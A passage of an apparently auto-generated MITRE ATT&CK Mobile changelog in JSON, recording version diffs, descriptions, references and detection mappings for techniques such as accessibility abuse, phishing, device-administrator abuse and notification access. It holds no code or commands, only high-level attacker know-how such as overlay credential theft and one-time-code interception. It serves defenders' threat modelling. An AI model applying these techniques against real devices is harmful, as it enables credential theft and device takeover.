\"https://support.google.com/accessibility/android/answer/6006564?hl=en&ref_topic=6007234&sjid=9936713164149272548-NA\"}, \"old_value\": {\"source_name\": \"Skycure-Accessibility\", \"description\": \"Yair Amit. (2016, March 3). \\u201cAccessibility Clickjacking\\u201d \\u2013 The Next Evolution in Android Malware that Impacts More Than 500 Million Devices. Retrieved December 21, 2016.\", \"url\": \"https://www.skycure.com/blog/accessibility-clickjacking/\"}}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][1]\": \"Liran Ravich, CardinalOps\"}, \"iterable_item_removed\": {\"root['kill_chain_phases'][2]\": {\"kill_chain_name\": \"mitre-mobile-attack\", \"phase_name\": \"impact\"}, \"root['kill_chain_phases'][3]\": {\"kill_chain_name\": \"mitre-mobile-attack\", \"phase_name\": \"defense-evasion\"}, \"root['external_references'][3]\": {\"source_name\": \"banking-trojans-google-play\", \"description\": \"Luk\\u00e1\\u0161 \\u0160tefanko. (2018, October 24). Banking Trojans continue to surface on Google Play. Retrieved July 11, 2019.\", \"url\": \"https://www.welivesecurity.com/2018/10/24/banking-trojans-continue-surface-google-play/\"}}}", + "previous_version": "2.0", + "version_change": "2.0 \u2192 3.0", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1**This technique has been deprecated. Please use [Input Captt1Adversaries may abuse accessibility features in Android devi
>ure](https://attack.mitre.org/techniques/T1417), [Input Inje>ces to steal sensitive data and to spread malware to other d
>ction](https://attack.mitre.org/techniques/T1516), and [Inpu>evices. Accessibility features in Android are designed to as
>t Prompt](https://attack.mitre.org/techniques/T1411) where a>sist users with disabilities, performing a variety of tasks,
>ppropriate.**  A malicious app could abuse Android's accessi> such as using Action Blocks to control lightbulbs, and chan
>bility features to capture sensitive data or perform other m>ging the device\u2019s user interface, such as changing the font 
>alicious actions.(Citation: Skycure-Accessibility)  Adversar>size and adjusting contract or colors.(Citation: Google_Andr
>ies may abuse accessibility features on Android to emulate a>oidAcsOverview)   One example of how adversaries abuse acces
> user's clicks, for example to steal money from a user's ban>sibility features is overlaying an HTML object mimicking a l
>k account.(Citation: android-trojan-steals-paypal-2fa)(Citat>egitimate login screen. The user types their credentials in 
>ion: banking-trojans-google-play)  Adversaries may abuse acc>the overlay HTML object, which is then sent to the adversari
>essibility features on Android devices to evade defenses by >es.(Citation: SahinSRLabs_FluBot_Dec2021)    Another example
>repeatedly clicking the \"Back\" button when a targeted app ma> is a malicious accessibility feature acting as a keylogger.
>nager or mobile security app is launched, or when strings su> The keylogger monitors changes on the EditText fields and s
>ggesting uninstallation are detected in the foreground. This>ends it to the adversaries.(Citation: SahinSRLabs_FluBot_Dec
> effectively prevents the malicious application from being u>2021) This method of attack is also described in [Keylogging
>ninstalled.(Citation: android-trojan-steals-paypal-2fa)>](https://attack.mitre.org/techniques/T1417/001); whereas [A
 >buse Accessibility Features](https://attack.mitre.org/techni
 >ques/T1453) captures the overall abuse of accessibility feat
 >ures.  
", + "changelog_mitigations": { + "shared": [], + "new": [ + "M1011: User Guidance" + ], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0697: Detection of Abuse Accessibility Features" + ], + "dropped": [] + } + } + ], + "minor_version_changes": [ + { + "type": "attack-pattern", + "id": "attack-pattern--d2e112dc-f6d4-488d-b8df-ecbfb57a0a2d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-10-25 14:48:25.740000+00:00", + "modified": "2025-05-19 15:21:04.030000+00:00", + "name": "Network Denial of Service", + "description": "Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth that services rely on, or by jamming the signal going to or coming from devices. \n\nA Network DoS will occur when an adversary is able to jam radio signals (e.g. Wi-Fi, cellular, GPS) around a device to prevent it from communicating. For example, to jam cellular signal, an adversary may use a handheld signal jammer, which jam devices within the jammer\u2019s operational range.(Citation: NIST-SP800187) \n\nUsage of cellular jamming has been documented in several arrests reported in the news.(Citation: CNET-Celljammer)(Citation: NYTimes-Celljam)(Citation: Digitaltrends-Celljam)(Citation: Arstechnica-Celljam)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1464", + "external_id": "T1464" + }, + { + "source_name": "CNET-Celljammer", + "description": "Chris Matyszczyk. (2014, May 1). FCC: Man used device to jam drivers' cell phone calls. Retrieved November 8, 2018.", + "url": "https://www.cnet.com/news/man-put-cell-phone-jammer-in-car-to-stop-driver-calls-fcc-says/" + }, + { + "source_name": "Arstechnica-Celljam", + "description": "David Kravets. (2016, March 10). Man accused of jamming passengers\u2019 cell phones on Chicago subway. Retrieved November 8, 2018.", + "url": "https://arstechnica.com/tech-policy/2016/03/man-accused-of-jamming-passengers-cell-phones-on-chicago-subway/" + }, + { + "source_name": "NIST-SP800187", + "description": "Jeffrey Cichonski, Joshua M Franklin, Michael Bartock. (2017, December). Guide to LTE Security. Retrieved January 20, 2017.", + "url": "http://csrc.nist.gov/publications/drafts/800-187/sp800_187_draft.pdf" + }, + { + "source_name": "NYTimes-Celljam", + "description": "Matt Richtel. (2007, November 4). Devices Enforce Silence of Cellphones, Illegally. Retrieved November 8, 2018.", + "url": "https://www.nytimes.com/2007/11/04/technology/04jammer.html" + }, + { + "source_name": "Digitaltrends-Celljam", + "description": "Trevor Mogg. (2015, June 5). Florida teacher punished after signal-jamming his students\u2019 cell phones. Retrieved November 8, 2018.", + "url": "https://www.digitaltrends.com/mobile/florida-teacher-punished-after-signal-jamming-his-students-cell-phones/" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-7.html", + "external_id": "CEL-7" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-8.html", + "external_id": "CEL-8" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/lan-pan-threats/LPN-5.html", + "external_id": "LPN-5" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/gps-threats/GPS-0.html", + "external_id": "GPS-0" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-05-19 15:21:04.030000+00:00\", \"old_value\": \"2025-04-16 21:21:56.195000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Unexpected loss of radio signal could indicate that a device is being actively jammed.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}}}", + "previous_version": "1.3", + "version_change": "1.3 \u2192 1.4", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0042: User Interface (System Notifications)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0639: Detection of Network Denial of Service" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--defc1257-4db1-4fb3-8ef5-bb77f63146df", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-09-21 19:35:15.552000+00:00", + "modified": "2025-08-20 14:33:34.968000+00:00", + "name": "Phishing", + "description": "Adversaries may send malicious content to users in order to gain access to their mobile devices. All forms of phishing are electronically delivered social engineering. Adversaries can conduct both non-targeted phishing, such as in mass malware spam campaigns, as well as more targeted phishing tailored for a specific individual, company, or industry, known as \u201cspearphishing.\u201d Phishing often involves social engineering techniques, such as posing as a trusted source, as well as evasion techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages.\n\nMobile phishing may take various forms. For example, adversaries may send emails containing malicious attachments or links, typically to deliver and then execute malicious code on victim devices. Phishing may also be conducted via third-party services, like social media platforms. Adversaries may also impersonate executives of organizations to persuade victims into performing some action on their behalf. For example, adversaries will often use social engineering techniques in text messages to trick the victims into acting quickly, which leads to adversaries obtaining credentials and other information. \n\nMobile devices are a particularly attractive target for adversaries executing phishing campaigns. Due to their smaller form factor than traditional desktop endpoints, users may not be able to notice minor differences between genuine and phishing websites. Further, mobile devices have additional sensors and radios that allow adversaries to execute phishing attempts over several different vectors, such as: \n\n- SMS messages: Adversaries may send SMS messages (known as \u201csmishing\u201d) from compromised devices to potential targets to convince the target to, for example, install malware, navigate to a specific website, or enable certain insecure configurations on their device.\n- Quick Response (QR) Codes: Adversaries may use QR codes (known as \u201cquishing\u201d) to redirect users to a phishing website. For example, an adversary could replace a legitimate public QR Code with one that leads to a different destination, such as a phishing website. A malicious QR code could also be delivered via other means, such as SMS or email. In the latter case, an adversary could utilize a malicious QR code in an email to pivot from the user\u2019s desktop computer to their mobile device.\n- Phone Calls: Adversaries may call victims (known as \u201cvishing\u201d) to persuade them to perform an action, such as providing login credentials or navigating to a malicious website. This could also be used as a technique to perform the initial access on a mobile device, but then pivot to a computer/other network by having the victim perform an action on a desktop computer.\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "initial-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1660", + "external_id": "T1660" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-9.html", + "external_id": "AUT-9" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Vijay Lalwani", + "Will Thomas, Equinix", + "Adam Mashinchi", + "Sam Seabrook, Duke Energy", + "Naveen Devaraja, bolttech", + "Brian Donohue", + "Lookout" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-08-20 14:33:34.968000+00:00\", \"old_value\": \"2023-09-29 19:45:39.608000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may send malicious content to users in order to gain access to their mobile devices. All forms of phishing are electronically delivered social engineering. Adversaries can conduct both non-targeted phishing, such as in mass malware spam campaigns, as well as more targeted phishing tailored for a specific individual, company, or industry, known as \\u201cspearphishing.\\u201d Phishing often involves social engineering techniques, such as posing as a trusted source, as well as evasion techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages.\\n\\nMobile phishing may take various forms. For example, adversaries may send emails containing malicious attachments or links, typically to deliver and then execute malicious code on victim devices. Phishing may also be conducted via third-party services, like social media platforms. Adversaries may also impersonate executives of organizations to persuade victims into performing some action on their behalf. For example, adversaries will often use social engineering techniques in text messages to trick the victims into acting quickly, which leads to adversaries obtaining credentials and other information. \\n\\nMobile devices are a particularly attractive target for adversaries executing phishing campaigns. Due to their smaller form factor than traditional desktop endpoints, users may not be able to notice minor differences between genuine and phishing websites. Further, mobile devices have additional sensors and radios that allow adversaries to execute phishing attempts over several different vectors, such as: \\n\\n- SMS messages: Adversaries may send SMS messages (known as \\u201csmishing\\u201d) from compromised devices to potential targets to convince the target to, for example, install malware, navigate to a specific website, or enable certain insecure configurations on their device.\\n- Quick Response (QR) Codes: Adversaries may use QR codes (known as \\u201cquishing\\u201d) to redirect users to a phishing website. For example, an adversary could replace a legitimate public QR Code with one that leads to a different destination, such as a phishing website. A malicious QR code could also be delivered via other means, such as SMS or email. In the latter case, an adversary could utilize a malicious QR code in an email to pivot from the user\\u2019s desktop computer to their mobile device.\\n- Phone Calls: Adversaries may call victims (known as \\u201cvishing\\u201d) to persuade them to perform an action, such as providing login credentials or navigating to a malicious website. This could also be used as a technique to perform the initial access on a mobile device, but then pivot to a computer/other network by having the victim perform an action on a desktop computer.\\n\", \"old_value\": \"Adversaries may send malicious content to users in order to gain access to their mobile devices. All forms of phishing are electronically delivered social engineering. Adversaries can conduct both non-targeted phishing, such as in mass malware spam campaigns, as well as more targeted phishing tailored for a specific individual, company, or industry, known as \\u201cspearphishing\\u201d. Phishing often involves social engineering techniques, such as posing as a trusted source, as well as evasion techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages.\\n\\nMobile phishing may take various forms. For example, adversaries may send emails containing malicious attachments or links, typically to deliver and then execute malicious code on victim devices. Phishing may also be conducted via third-party services, like social media platforms. \\n\\nMobile devices are a particularly attractive target for adversaries executing phishing campaigns. Due to their smaller form factor than traditional desktop endpoints, users may not be able to notice minor differences between genuine and phishing websites. Further, mobile devices have additional sensors and radios that allow adversaries to execute phishing attempts over several different vectors, such as: \\n\\n- SMS messages: Adversaries may send SMS messages (known as \\u201csmishing\\u201d) from compromised devices to potential targets to convince the target to, for example, install malware, navigate to a specific website, or enable certain insecure configurations on their device.\\n- Quick Response (QR) Codes: Adversaries may use QR codes (known as \\u201cquishing\\u201d) to redirect users to a phishing website. For example, an adversary could replace a legitimate public QR Code with one that leads to a different destination, such as a phishing website. A malicious QR code could also be delivered via other means, such as SMS or email. In the latter case, an adversary could utilize a malicious QR code in an email to pivot from the user\\u2019s desktop computer to their mobile device.\\n- Phone Calls: Adversaries may call victims (known as \\u201cvishing\\u201d) to persuade them to perform an action, such as providing login credentials or navigating to a malicious website. This could also be used as a technique to perform the initial access on a mobile device, but then pivot to a computer/other network by having the victim perform an action on a desktop computer.\\n\", \"diff\": \"--- \\n+++ \\n@@ -1,6 +1,6 @@\\n-Adversaries may send malicious content to users in order to gain access to their mobile devices. All forms of phishing are electronically delivered social engineering. Adversaries can conduct both non-targeted phishing, such as in mass malware spam campaigns, as well as more targeted phishing tailored for a specific individual, company, or industry, known as \\u201cspearphishing\\u201d. Phishing often involves social engineering techniques, such as posing as a trusted source, as well as evasion techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages.\\n+Adversaries may send malicious content to users in order to gain access to their mobile devices. All forms of phishing are electronically delivered social engineering. Adversaries can conduct both non-targeted phishing, such as in mass malware spam campaigns, as well as more targeted phishing tailored for a specific individual, company, or industry, known as \\u201cspearphishing.\\u201d Phishing often involves social engineering techniques, such as posing as a trusted source, as well as evasion techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages.\\n \\n-Mobile phishing may take various forms. For example, adversaries may send emails containing malicious attachments or links, typically to deliver and then execute malicious code on victim devices. Phishing may also be conducted via third-party services, like social media platforms. \\n+Mobile phishing may take various forms. For example, adversaries may send emails containing malicious attachments or links, typically to deliver and then execute malicious code on victim devices. Phishing may also be conducted via third-party services, like social media platforms. Adversaries may also impersonate executives of organizations to persuade victims into performing some action on their behalf. For example, adversaries will often use social engineering techniques in text messages to trick the victims into acting quickly, which leads to adversaries obtaining credentials and other information. \\n \\n Mobile devices are a particularly attractive target for adversaries executing phishing campaigns. Due to their smaller form factor than traditional desktop endpoints, users may not be able to notice minor differences between genuine and phishing websites. Further, mobile devices have additional sensors and radios that allow adversaries to execute phishing attempts over several different vectors, such as: \\n \"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][6]\": \"Lookout\"}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may send malicious content to users in order to t1Adversaries may send malicious content to users in order to 
>gain access to their mobile devices. All forms of phishing a>gain access to their mobile devices. All forms of phishing a
>re electronically delivered social engineering. Adversaries >re electronically delivered social engineering. Adversaries 
>can conduct both non-targeted phishing, such as in mass malw>can conduct both non-targeted phishing, such as in mass malw
>are spam campaigns, as well as more targeted phishing tailor>are spam campaigns, as well as more targeted phishing tailor
>ed for a specific individual, company, or industry, known as>ed for a specific individual, company, or industry, known as
> \u201cspearphishing\u201d.  Phishing often involves social engineerin> \u201cspearphishing.\u201d Phishing often involves social engineering
>g techniques, such as posing as a trusted source, as well as> techniques, such as posing as a trusted source, as well as 
> evasion techniques, such as removing or manipulating emails>evasion techniques, such as removing or manipulating emails 
> or metadata/headers from compromised accounts being abused >or metadata/headers from compromised accounts being abused t
>to send messages.  Mobile phishing may take various forms. F>o send messages.  Mobile phishing may take various forms. Fo
>or example, adversaries may send emails containing malicious>r example, adversaries may send emails containing malicious 
> attachments or links, typically to deliver and then execute>attachments or links, typically to deliver and then execute 
> malicious code on victim devices. Phishing may also be cond>malicious code on victim devices. Phishing may also be condu
>ucted via third-party services, like social media platforms.>cted via third-party services, like social media platforms. 
>    Mobile devices are a particularly attractive target for >Adversaries may also impersonate executives of organizations
>adversaries executing phishing campaigns.  Due to their smal> to persuade victims into performing some action on their be
>ler form factor than traditional desktop endpoints, users ma>half. For example, adversaries will often use social enginee
>y not be able to notice minor differences between genuine an>ring techniques in text messages to trick the victims into a
>d phishing websites. Further, mobile devices have additional>cting quickly, which leads to adversaries obtaining credenti
> sensors and radios that allow adversaries to execute phishi>als and other information.   Mobile devices are a particular
>ng attempts over several different vectors, such as:   - SMS>ly attractive target for adversaries executing phishing camp
> messages: Adversaries may send SMS messages (known as \u201csmis>aigns.  Due to their smaller form factor than traditional de
>hing\u201d) from compromised devices to potential targets to conv>sktop endpoints, users may not be able to notice minor diffe
>ince the target to, for example, install malware, navigate t>rences between genuine and phishing websites. Further, mobil
>o a specific website, or enable certain insecure configurati>e devices have additional sensors and radios that allow adve
>ons on their device. - Quick Response (QR) Codes: Adversarie>rsaries to execute phishing attempts over several different 
>s may use QR codes (known as \u201cquishing\u201d) to redirect users t>vectors, such as:   - SMS messages: Adversaries may send SMS
>o a phishing website. For example, an adversary could replac> messages (known as \u201csmishing\u201d) from compromised devices to 
>e a legitimate public QR Code with one that leads to a diffe>potential targets to convince the target to, for example, in
>rent destination, such as a phishing website. A malicious QR>stall malware, navigate to a specific website, or enable cer
> code could also be delivered via other means, such as SMS o>tain insecure configurations on their device. - Quick Respon
>r email. In the latter case, an adversary could utilize a ma>se (QR) Codes: Adversaries may use QR codes (known as \u201cquish
>licious QR code in an email to pivot from the user\u2019s desktop>ing\u201d) to redirect users to a phishing website. For example, 
> computer to their mobile device. - Phone Calls: Adversaries>an adversary could replace a legitimate public QR Code with 
> may call victims (known as \u201cvishing\u201d) to persuade them to p>one that leads to a different destination, such as a phishin
>erform an action, such as providing login credentials or nav>g website. A malicious QR code could also be delivered via o
>igating to a malicious website. This could also be used as a>ther means, such as SMS or email. In the latter case, an adv
> technique to perform the initial access on a mobile device,>ersary could utilize a malicious QR code in an email to pivo
> but then pivot to a computer/other network by having the vi>t from the user\u2019s desktop computer to their mobile device. -
>ctim perform an action on a desktop computer. > Phone Calls: Adversaries may call victims (known as \u201cvishin
 >g\u201d) to persuade them to perform an action, such as providing
 > login credentials or navigating to a malicious website. Thi
 >s could also be used as a technique to perform the initial a
 >ccess on a mobile device, but then pivot to a computer/other
 > network by having the victim perform an action on a desktop
 > computer. 
", + "changelog_mitigations": { + "shared": [ + "M1011: User Guidance", + "M1058: Antivirus/Antimalware" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0684: Detection of Phishing" + ], + "dropped": [] + } + } + ], + "other_version_changes": [], + "patches": [ + { + "type": "attack-pattern", + "id": "attack-pattern--08ea902d-ecb5-47ed-a453-2798057bb2d3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-04-01 15:54:05.633000+00:00", + "modified": "2025-10-24 17:48:21.493000+00:00", + "name": "Abuse Elevation Control Mechanism", + "description": "Adversaries may circumvent mechanisms designed to control elevated privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can gain on a machine. Authorization has to be granted to specific users in order to perform tasks that are designated as higher risk. An adversary can use several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1626", + "external_id": "T1626" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html", + "external_id": "APP-22" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:21.493000+00:00\", \"old_value\": \"2025-04-16 21:21:43.814000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"When an application requests administrator permission, users are presented with a popup and the option to grant or deny the request. Application vetting services can detect when an application requests administrator permission. Extra scrutiny could be applied to applications that do\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1013: Application Developer Guidance" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (Permissions Requests)", + "DS0042: User Interface (Permissions Request)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0642: Detection of Abuse Elevation Control Mechanism" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--9c049d7b-c92a-4733-9381-27e2bd2ccadc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-04-01 15:59:05.830000+00:00", + "modified": "2025-10-24 17:49:08.587000+00:00", + "name": "Device Administrator Permissions", + "description": "Adversaries may abuse Android\u2019s device administration API to obtain a higher degree of control over the device. By abusing the API, adversaries can perform several nefarious actions, such as resetting the device\u2019s password for [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1642), factory resetting the device for [File Deletion](https://attack.mitre.org/techniques/T1630/002) and to delete any traces of the malware, disabling all the device\u2019s cameras, or to make it more difficult to uninstall the app.\n\nDevice administrators must be approved by the user at runtime, with a system popup showing which actions have been requested by the app. In conjunction with other techniques, such as [Input Injection](https://attack.mitre.org/techniques/T1516), an app can programmatically grant itself administrator permissions without any user input.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1626/001", + "external_id": "T1626.001" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html", + "external_id": "APP-22" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:08.587000+00:00\", \"old_value\": \"2025-04-16 21:21:52.648000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Users are prompted for approval when an application requests device administrator permissions. Users can see which applications are registered as device administrators in the device settings. Application vetting services can check for the string `BIND_DEVICE_ADMIN` in the application\\u2019s manifest. This indicates it can prompt the user for device administrator permissions.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1006: Use Recent OS Version", + "M1011: User Guidance" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (Permissions Requests)", + "DS0042: User Interface (Permissions Request)", + "DS0042: User Interface (System Settings)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0630: Detection of Device Administrator Permissions" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--39dd7871-f59b-495f-a9a5-3cb8cc50c9b2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-15 15:26:08.183000+00:00", + "modified": "2025-10-24 17:48:40.140000+00:00", + "name": "Access Notifications", + "description": "Adversaries may collect data within notifications sent by the operating system or other applications. Notifications may contain sensitive data such as one-time authentication codes sent over SMS, email, or other mediums. In the case of Credential Access, adversaries may attempt to intercept one-time code sent to the device. Adversaries can also dismiss notifications to prevent the user from noticing that the notification has arrived and can trigger action buttons contained within notifications.(Citation: ESET 2FA Bypass) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "collection" + }, + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1517", + "external_id": "T1517" + }, + { + "source_name": "ESET 2FA Bypass", + "description": "Luk\u00e1\u0161 \u0160tefanko. (2019, June 17). Malware sidesteps Google permissions policy with new 2FA bypass technique. Retrieved September 15, 2019.", + "url": "https://www.welivesecurity.com/2019/06/17/malware-google-permissions-2fa-bypass/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:40.140000+00:00\", \"old_value\": \"2025-04-16 21:21:48.448000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Application vetting services can look for applications requesting the `BIND_NOTIFICATION_LISTENER_SERVICE` permission in a service declaration. Users can also inspect and modify the list of applications that have notification access through the device settings (e.g. Apps & notification -> Special app access -> Notification access). \"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1011: User Guidance", + "M1012: Enterprise Policy", + "M1013: Application Developer Guidance" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (Permissions Requests)", + "DS0042: User Interface (System Settings)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0611: Detection of Access Notifications" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--e2c2249a-eb82-4614-8dd4-9c514dde65e2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-04-06 13:29:47.590000+00:00", + "modified": "2025-10-24 17:49:31.052000+00:00", + "name": "Account Access Removal", + "description": "Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: credentials changed) to remove access to accounts. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1640", + "external_id": "T1640" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + 